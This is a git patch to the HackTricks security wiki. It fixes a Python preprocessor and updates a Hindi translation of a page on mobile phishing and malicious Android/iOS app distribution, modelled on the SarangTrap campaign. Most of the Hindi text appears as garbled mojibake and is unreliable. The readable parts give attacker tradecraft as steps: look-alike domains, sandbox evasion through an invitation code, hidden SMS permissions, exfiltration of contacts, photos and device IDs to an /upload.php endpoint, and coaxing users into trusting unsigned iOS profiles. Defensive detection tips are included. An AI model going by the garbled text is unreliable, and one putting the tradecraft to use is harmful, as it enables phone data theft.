From badd4161ddc8f9c7e97938261050a866f6cf0b28 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 11:10:40 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/accessibility- --- hacktricks-preprocessor.py | 42 ++- src/SUMMARY.md | 5 +- .../mobile-phishing-malicious-apps.md | 312 +++++++++++++----- .../accessibility-services-abuse.md | 179 +++++++--- 4 files changed, 396 insertions(+), 142 deletions(-) diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 0165a854a..c525f665d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR) logger.addHandler(handler2) -def findtitle(search ,obj, key, path=(),): +def findtitle(search, obj, key, path=()): # logger.debug(f"Looking for {search} in {path}") if isinstance(obj, dict) and key in obj and obj[key] == search: return obj, path @@ -54,26 +54,42 @@ def ref(matchobj): if href.endswith("/"): href = href+"README.md" # Fix if ref points to a folder if "#" in href: - chapter, _path = findtitle(href.split("#")[0], book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(href.split("#")[0], book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for path: {href.split('#')[0]}") else: - chapter, _path = findtitle(href, book, "source_path") - logger.debug(f'Recursive title search result: {chapter["name"]}') - title = chapter['name'] + result = findtitle(href, book, "source_path") + if result is not None: + chapter, _path = result + logger.debug(f'Recursive title search result: {chapter["name"]}') + title = chapter['name'] + else: + raise Exception(f"Chapter not found for path: {href}") except Exception as e: dir = path.dirname(current_chapter['source_path']) rel_path = path.normpath(path.join(dir,href)) try: logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') if "#" in href: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}") else: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = chapter["name"] - logger.debug(f'Recursive title search result: {chapter["name"]}') + result = findtitle(path.normpath(path.join(dir,href)), book, "source_path") + if result is not None: + chapter, _path = result + title = chapter["name"] + logger.debug(f'Recursive title search result: {chapter["name"]}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}") except Exception as e: logger.debug(e) logger.error(f'Error getting chapter title: {rel_path}') diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d4104d430..abe382dcf 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -837,8 +837,9 @@ - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) +- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting.md) # ЁЯдЦ AI - [AI Security](AI/README.md) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md index ffeb351b4..ffcd02609 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md @@ -1,67 +1,67 @@ -# рдореЛрдмрд╛рдЗрд▓ рдлрд╝рд┐рд╢рд┐рдВрдЧ рдФрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдРрдк рд╡рд┐рддрд░рдг (Android рдФрд░ iOS) +# рдореЛрдмрд╛рдЗрд▓ Phishing & Malicious App Distribution (Android & iOS) {{#include ../../banners/hacktricks-training.md}} > [!INFO] -> рдпрд╣ рдкреГрд╖реНрда рдЙрди рддрдХрдиреАрдХреЛрдВ рдХреЛ рдХрд╡рд░ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЦрддрд░реЗ рдХреЗ рдЕрднрд┐рдиреЗрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ **рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг Android APKs** рдФрд░ **iOS рдореЛрдмрд╛рдЗрд▓-рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреНрд░реЛрдлрд╛рдЗрд▓** рдХреЛ рдлрд╝рд┐рд╢рд┐рдВрдЧ (SEO, рд╕реЛрд╢рд▓ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ, рдлрд░реНрдЬреА рд╕реНрдЯреЛрд░, рдбреЗрдЯрд┐рдВрдЧ рдРрдкреНрд╕, рдЖрджрд┐) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВред -> рд╕рд╛рдордЧреНрд░реА Zimperium zLabs (2025) рджреНрд╡рд╛рд░рд╛ рдЙрдЬрд╛рдЧрд░ SarangTrap рдЕрднрд┐рдпрд╛рди рдФрд░ рдЕрдиреНрдп рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЕрдиреБрд╕рдВрдзрд╛рди рд╕реЗ рдЕрдиреБрдХреВрд▓рд┐рдд рд╣реИред +> рдпрд╣ рдкреГрд╖реНрда рдЙрди рддрдХрдиреАрдХреЛрдВ рдХреЛ рдХрд╡рд░ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ рдереНрд░реЗрдЯ рдПрдХреНрдЯрд░реНрд╕ рджреНрд╡рд╛рд░рд╛ phishing (SEO, social engineering, fake stores, dating apps, рдЖрджрд┐) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **malicious Android APKs** рдФрд░ **iOS mobile-configuration profiles** рд╡рд┐рддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +> рд╕рд╛рдордЧреНрд░реА SarangTrap рдЕрднрд┐рдпрд╛рди (Zimperium zLabs рджреНрд╡рд╛рд░рд╛ рдЙрдЬрд╛рдЧрд░, 2025) рдФрд░ рдЕрдиреНрдп рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╢реЛрдз рд╕реЗ рдЕрдиреБрдХреВрд▓рд┐рдд рд╣реИред -## рд╣рдорд▓реЗ рдХрд╛ рдкреНрд░рд╡рд╛рд╣ +## рд╣рдорд▓рд╛ рдкреНрд░рд╡рд╛рд╣ -1. **SEO/рдлрд╝рд┐рд╢рд┐рдВрдЧ рдЕрд╡рд╕рдВрд░рдЪрдирд╛** -* рд╕рдорд╛рди рджрд┐рдЦрдиреЗ рд╡рд╛рд▓реЗ рдбреЛрдореЗрди (рдбреЗрдЯрд┐рдВрдЧ, рдХреНрд▓рд╛рдЙрдб рд╢реЗрдпрд░, рдХрд╛рд░ рд╕реЗрд╡рд╛тАж) рджрд░реНрдЬ рдХрд░реЗрдВред -тАУ Google рдореЗрдВ рд░реИрдВрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `` рддрддреНрд╡ рдореЗрдВ рд╕реНрдерд╛рдиреАрдп рднрд╛рд╖рд╛ рдХреЗ рдХреАрд╡рд░реНрдб рдФрд░ рдЗрдореЛрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред -тАУ *рджреЛрдиреЛрдВ* Android (`.apk`) рдФрд░ iOS рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рдПрдХ рд╣реА рд▓реИрдВрдбрд┐рдВрдЧ рдкреГрд╖реНрда рдкрд░ рд╣реЛрд╕реНрдЯ рдХрд░реЗрдВред -2. **рдкрд╣рд▓рд╛ рдЪрд░рдг рдбрд╛рдЙрдирд▓реЛрдб** -* Android: *unsigned* рдпрд╛ "рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ рд╕реНрдЯреЛрд░" APK рдХреЗ рд▓рд┐рдП рд╕реАрдзрд╛ рд▓рд┐рдВрдХред -* iOS: `itms-services://` рдпрд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг **mobileconfig** рдкреНрд░реЛрдлрд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп HTTPS рд▓рд┐рдВрдХ (рдиреАрдЪреЗ рджреЗрдЦреЗрдВ)ред -3. **рдкреЛрд╕реНрдЯ-рдЗрдВрд╕реНрдЯреЙрд▓ рд╕реЛрд╢рд▓ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ** -* рдкрд╣рд▓реЗ рд░рди рдкрд░ рдРрдк **рдЖрдордВрддреНрд░рдг / рд╕рддреНрдпрд╛рдкрди рдХреЛрдб** (рд╡рд┐рд╢реЗрд╖ рдкрд╣реБрдВрдЪ рдХрд╛ рднреНрд░рдо) рдХреЗ рд▓рд┐рдП рдкреВрдЫрддрд╛ рд╣реИред -* рдХреЛрдб **HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ POST** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ Command-and-Control (C2) рдкрд░ред -* C2 рдЬрд╡рд╛рдм рджреЗрддрд╛ рд╣реИ `{"success":true}` тЮЬ рдореИрд▓рд╡реЗрдпрд░ рдЬрд╛рд░реА рд░рд╣рддрд╛ рд╣реИред -* рд╕реИрдВрдбрдмреЙрдХреНрд╕ / AV рдбрд╛рдпрдирд╛рдорд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЬреЛ рдХрднреА рднреА рдПрдХ рдорд╛рдиреНрдп рдХреЛрдб рдкреНрд░рд╕реНрддреБрдд рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, **рдХреЛрдИ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╡реНрдпрд╡рд╣рд╛рд░** рдирд╣реАрдВ рджреЗрдЦрддрд╛ (рдирд┐рд╖реНрдХрд╛рд╕рди)ред -4. **рд░рдирдЯрд╛рдЗрдо рдЕрдиреБрдорддрд┐ рджреБрд░реБрдкрдпреЛрдЧ** (Android) -* рдЦрддрд░рдирд╛рдХ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдХреЗрд╡рд▓ **рд╕рдХрд╛рд░рд╛рддреНрдордХ C2 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмрд╛рдж** рдорд╛рдВрдЧреА рдЬрд╛рддреА рд╣реИрдВ: +1. **SEO/Phishing рдЗрдВрдлреНрд░рд╛рд╕реНрдЯреНрд░рдХреНрдЪрд░** +* рджрд░реНрдЬрдиреЛрдВ look-alike рдбреЛрдореЗрдиреЛрдВ рдХреЛ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░реЗрдВ (dating, cloud share, car serviceтАж). +тАУ `<title>` рдПрд▓рд┐рдореЗрдВрдЯ рдореЗрдВ рд╕реНрдерд╛рдиреАрдп рднрд╛рд╖рд╛ рдХреЗ keywords рдФрд░ emojis рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ Google рдореЗрдВ рд░реИрдВрдХрд┐рдВрдЧ рдорд┐рд▓реЗред +тАУ рдПрдХ рд╣реА рд▓реИрдВрдбрд┐рдВрдЧ рдкреЗрдЬ рдкрд░ *рджреЛрдиреЛрдВ* Android (`.apk`) рдФрд░ iOS рдЗрдВрд╕реНрдЯреЙрд▓ рдирд┐рд░реНрджреЗрд╢ рд╣реЛрд╕реНрдЯ рдХрд░реЗрдВред +2. **рдкрд╣рд▓рд╛ рдЪрд░рдг: рдбрд╛рдЙрдирд▓реЛрдб** +* Android: рдПрдХ рдбрд╛рдпрд░реЗрдХреНрдЯ рд▓рд┐рдВрдХ рдЬреЛ *unsigned* рдпрд╛ тАЬthird-party storeтАЭ APK рдХреА рдУрд░ рдЬрд╛рддрд╛ рд╣реИред +* iOS: `itms-services://` рдпрд╛ рд╕рд╛рдорд╛рдиреНрдп HTTPS рд▓рд┐рдВрдХ рдЬреЛ рдПрдХ malicious **mobileconfig** рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ (рдиреАрдЪреЗ рджреЗрдЦреЗрдВ)ред +3. **рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рдмрд╛рдж Social Engineering** +* рдкрд╣рд▓реА рдмрд╛рд░ рдЪрд▓рд╛рдиреЗ рдкрд░ рдРрдк рдПрдХ **invitation / verification code** рдорд╛рдБрдЧрддрд╛ рд╣реИ (рд╡рд┐рд╢реЗрд╖ рдкрд╣реБрдВрдЪ рдХрд╛ рднреНрд░рдо)ред +* рдХреЛрдб **HTTP рдкрд░ POST** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ Command-and-Control (C2) рдХреЛред +* C2 рдЙрддреНрддрд░ рджреЗрддрд╛ рд╣реИ `{"success":true}` тЮЬ рдореИрд▓рд╡реЗрдпрд░ рдЬрд╛рд░реА рд░рд╣рддрд╛ рд╣реИред +* рдЬреЛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ / AV рдбрд╛рдпрдирд╛рдорд┐рдХ рдПрдирд╛рд▓рд┐рд╕рд┐рд╕ рд╡реИрдз рдХреЛрдб рд╕рдмрдорд┐рдЯ рдирд╣реАрдВ рдХрд░рддрд╛ рд╡рд╣ **рдХреЛрдИ рдорд╛рд▓рд┐рд╢рд┐рдпрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдирд╣реАрдВ** рджреЗрдЦрддрд╛ (evasion)ред +4. **Runtime Permission Abuse (Android)** +* рдЦрддрд░рдирд╛рдХ permissions рд╕рд┐рд░реНрдл **positive C2 response рдХреЗ рдмрд╛рдж** рдЕрдиреБрд░реЛрдз рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ: ```xml <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> -<!-- рдкреБрд░рд╛рдиреЗ рдирд┐рд░реНрдорд╛рдгреЛрдВ рдиреЗ рднреА SMS рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреВрдЫрд╛ --> +<!-- Older builds also asked for SMS permissions --> ``` -* рд╣рд╛рд▓ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг **`AndroidManifest.xml` рд╕реЗ SMS рдХреЗ рд▓рд┐рдП `<uses-permission>` рд╣рдЯрд╛ рджреЗрддреЗ рд╣реИрдВ** рд▓реЗрдХрд┐рди рдЙрд╕ Java/Kotlin рдХреЛрдб рдкрде рдХреЛ рдЫреЛрдбрд╝ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ рдкрд░рд╛рд╡рд░реНрддрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ SMS рдкрдврд╝рддрд╛ рд╣реИ тЗТ рд╕реНрдерд┐рд░ рд╕реНрдХреЛрд░ рдХреЛ рдХрдо рдХрд░рддрд╛ рд╣реИ рдЬрдмрдХрд┐ рдЙрди рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ рдЕрднреА рднреА рдХрд╛рд░реНрдпрд╛рддреНрдордХ рд╣реИ рдЬреЛ `AppOps` рджреБрд░реБрдкрдпреЛрдЧ рдпрд╛ рдкреБрд░рд╛рдиреЗ рд▓рдХреНрд╖реНрдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред -5. **рдлрд╕рд╛рдж UI рдФрд░ рдкреГрд╖реНрдарднреВрдорд┐ рд╕рдВрдЧреНрд░рд╣рдг** -* рдРрдк рд╣рд╛рдирд┐рд░рд╣рд┐рдд рджреГрд╢реНрдп (SMS рд╡реНрдпреВрдЕрд░, рдЧреИрд▓рд░реА рдкрд┐рдХрд░) рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдЬреЛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рд╣реЛрддреЗ рд╣реИрдВред -* рдЗрд╕ рдмреАрдЪ рдпрд╣ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рддрд╛ рд╣реИ: +* рд╣рд╛рд▓рд┐рдпрд╛ рд╡реЗрд░рд┐рдПрдВрдЯреНрд╕ `AndroidManifest.xml` рд╕реЗ SMS рдХреЗ рд▓рд┐рдП `<uses-permission>` рд╣рдЯрд╛рддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди Java/Kotlin рдХреЛрдб рдкрд╛рде рдХреЛ reflection рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ SMS рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЫреЛрдбрд╝ рджреЗрддреЗ рд╣реИрдВ тЗТ рдЗрд╕рд╕реЗ static рд╕реНрдХреЛрд░ рдХрдо рд╣реЛрддрд╛ рд╣реИ рдЬрдмрдХрд┐ AppOps abuse рдпрд╛ рдкреБрд░рд╛рдиреЗ рд▓рдХреНрд╖реНрдпреЛрдВ рдкрд░ рдХрд╛рд░реНрдпрд╢реАрд▓ рд░рд╣рддрд╛ рд╣реИред +5. **Facade UI рдФрд░ Background Collection** +* рдРрдк рд▓реЛрдХрд▓ рд░реВрдк рд╕реЗ harmless views (SMS viewer, gallery picker) рджрд┐рдЦрд╛рддрд╛ рд╣реИред +* рдЗрд╕ рдмреАрдЪ рдпрд╣ рдирд┐рдореНрди рдПрдХреНрд╕рдлрд╝рд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рддрд╛ рд╣реИ: - IMEI / IMSI, рдлреЛрди рдирдВрдмрд░ -- рдкреВрд░реНрдг `ContactsContract` рдбрдВрдк (JSON рдПрд░реЗ) -- `/sdcard/DCIM` рд╕реЗ JPEG/PNG рдХреЛ рдЖрдХрд╛рд░ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [Luban](https://github.com/Curzibn/Luban) рдХреЗ рд╕рд╛рде рд╕рдВрдХреБрдЪрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ +- рдкреВрд░рд╛ `ContactsContract` dump (JSON array) +- `/sdcard/DCIM` рд╕реЗ JPEG/PNG, рдЖрдХрд╛рд░ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [Luban](https://github.com/Curzibn/Luban) рд╕реЗ compress рдХрд┐рдпрд╛ рдЧрдпрд╛ - рд╡реИрдХрд▓реНрдкрд┐рдХ SMS рд╕рд╛рдордЧреНрд░реА (`content://sms`) -рдкреЗрд▓реЛрдбреНрд╕ **рдмреИрдЪ-рдЬрд╝рд┐рдк рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ** рдФрд░ `HTTP POST /upload.php` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВред -6. **iOS рд╡рд┐рддрд░рдг рддрдХрдиреАрдХ** -* рдПрдХрд▓ **рдореЛрдмрд╛рдЗрд▓-рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреНрд░реЛрдлрд╛рдЗрд▓** `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` рдЖрджрд┐ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ "MDM"-рд╕рдорд╛рди рдкрд░реНрдпрд╡реЗрдХреНрд╖рдг рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред -* рд╕реЛрд╢рд▓-рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдирд┐рд░реНрджреЗрд╢: -1. рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдЦреЛрд▓реЗрдВ тЮЬ *рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛*ред -2. *рдЗрдВрд╕реНрдЯреЙрд▓* рдкрд░ рддреАрди рдмрд╛рд░ рдЯреИрдк рдХрд░реЗрдВ (рдлрд╝рд┐рд╢рд┐рдВрдЧ рдкреГрд╖реНрда рдкрд░ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ)ред -3. рдмрд┐рдирд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╡рд╛рд▓реЗ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░реЗрдВ тЮЬ рд╣рдорд▓рд╛рд╡рд░ *Contacts* рдФрд░ *Photo* рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдРрдк рд╕реНрдЯреЛрд░ рд╕рдореАрдХреНрд╖рд╛ рдХреЗред -7. **рдиреЗрдЯрд╡рд░реНрдХ рдкрд░рдд** -* рд╕рд╛рдорд╛рдиреНрдп HTTP, рдЕрдХреНрд╕рд░ рдкреЛрд░реНрдЯ 80 рдкрд░ HOST рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЬреИрд╕реЗ `api.<phishingdomain>.com`ред -* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (рдХреЛрдИ TLS тЖТ рдкрд╣рдЪрд╛рдирдирд╛ рдЖрд╕рд╛рди)ред +рдкреЗрд▓реЛрдбреНрд╕ рдХреЛ **batch-zipped** рдХрд░рдХреЗ `HTTP POST /upload.php` рдХреЗ рдЬрд░рд┐рдП рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред +6. **iOS Delivery Technique** +* рдПрдХ рдЕрдХреЗрд▓рд╛ **mobile-configuration profile** `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` рдЖрджрд┐ рдЕрдиреБрд░реЛрдз рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ тАЬMDMтАЭ-рд╕рдорд╛рди supervision рдореЗрдВ enroll рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +* Social-engineering рдирд┐рд░реНрджреЗрд╢: +1. Settings рдЦреЛрд▓реЗрдВ тЮЬ *Profile downloaded*. +2. рддреАрди рдмрд╛рд░ *Install* рдкрд░ рдЯреИрдк рдХрд░реЗрдВ (рдлрд┐рд╢рд┐рдВрдЧ рдкреЗрдЬ рдкрд░ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ)ред +3. unsigned рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдХреЛ Trust рдХрд░реЗрдВ тЮЬ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ App Store рд╕рдореАрдХреНрд╖рд╛ рдХреЗ рдмрд┐рдирд╛ *Contacts* рдФрд░ *Photo* entitlement рдорд┐рд▓ рдЬрд╛рддрд╛ рд╣реИред +7. **рдиреЗрдЯрд╡рд░реНрдХ рд▓реЗрдпрд░** +* рд╕рд╛рджрд╛ HTTP, рдЕрдХреНрд╕рд░ рдкреЛрд░реНрдЯ 80 рдкрд░ HOST рд╣реЗрдбрд░ рдЬреИрд╕рд╛ `api.<phishingdomain>.com` рдХреЗ рд╕рд╛рдеред +* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (рдХреЛрдИ TLS рдирд╣реАрдВ тЖТ рдЖрд╕рд╛рдиреА рд╕реЗ рдкрдХрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ)ред -## рд░рдХреНрд╖рд╛ рдкрд░реАрдХреНрд╖рдг / рд░реЗрдб-рдЯреАрдо рд╕реБрдЭрд╛рд╡ +## Defensive Testing / Red-Team Tips -* **рдбрд╛рдпрдирд╛рдорд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдмрд╛рдпрдкрд╛рд╕** тАУ рдореИрд▓рд╡реЗрдпрд░ рдореВрд▓реНрдпрд╛рдВрдХрди рдХреЗ рджреМрд░рд╛рди, рдЖрдордВрддреНрд░рдг рдХреЛрдб рдЪрд░рдг рдХреЛ Frida/Objection рдХреЗ рд╕рд╛рде рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╢рд╛рдЦрд╛ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХреЗрдВред -* **Manifest рдмрдирд╛рдо рд░рдирдЯрд╛рдЗрдо рдбрд┐рдлрд╝** тАУ `aapt dump permissions` рдХреА рддреБрд▓рдирд╛ рдХрд░реЗрдВ рд░рдирдЯрд╛рдЗрдо `PackageManager#getRequestedPermissions()` рдХреЗ рд╕рд╛рде; рдЦрддрд░рдирд╛рдХ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рдЧрд╛рдпрдм рд╣реЛрдирд╛ рдПрдХ рд▓рд╛рд▓ рдЭрдВрдбрд╛ рд╣реИред -* **рдиреЗрдЯрд╡рд░реНрдХ рдХреИрдирд░реА** тАУ рдХреЛрдб рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреЗ рдмрд╛рдж рдЕрд╕рдВрдЧрдд POST рдмрд░реНрд╕реНрдЯ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП `iptables -p tcp --dport 80 -j NFQUEUE` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВред -* **mobileconfig рдирд┐рд░реАрдХреНрд╖рдг** тАУ macOS рдкрд░ `security cms -D -i profile.mobileconfig` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ `PayloadContent` рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдФрд░ рдЕрддреНрдпрдзрд┐рдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдПред +* **Dynamic Analysis Bypass** тАУ рдореИрд▓рд╡реЗрдпрд░ рдЖрдХрд▓рди рдХреЗ рджреМрд░рд╛рди, invitation code рдЪрд░рдг рдХреЛ Frida/Objection рд╕реЗ automate рдХрд░рдХреЗ malicious рдмреНрд░рд╛рдВрдЪ рддрдХ рдкрд╣реБрдБрдЪреЗрдВред +* **Manifest vs. Runtime Diff** тАУ `aapt dump permissions` рдХреА рддреБрд▓рдирд╛ runtime `PackageManager#getRequestedPermissions()` рд╕реЗ рдХрд░реЗрдВ; рдЧрд╛рдпрдм рдЦрддрд░рдирд╛рдХ рдкрд░рдорд┐рд╢рдиреНрд╕ рдПрдХ рд░реЗрдб рдлреНрд▓реИрдЧ рд╣реИрдВред +* **Network Canary** тАУ рдХреЛрдб рдПрдВрдЯреНрд░реА рдХреЗ рдмрд╛рдж рдЕрд╕рд╛рдорд╛рдиреНрдп POST рдмрд░реНрд╕реНрдЯ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП `iptables -p tcp --dport 80 -j NFQUEUE` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВред +* **mobileconfig Inspection** тАУ macOS рдкрд░ `security cms -D -i profile.mobileconfig` рдХрд╛ рдЙрдкрдпреЛрдЧ 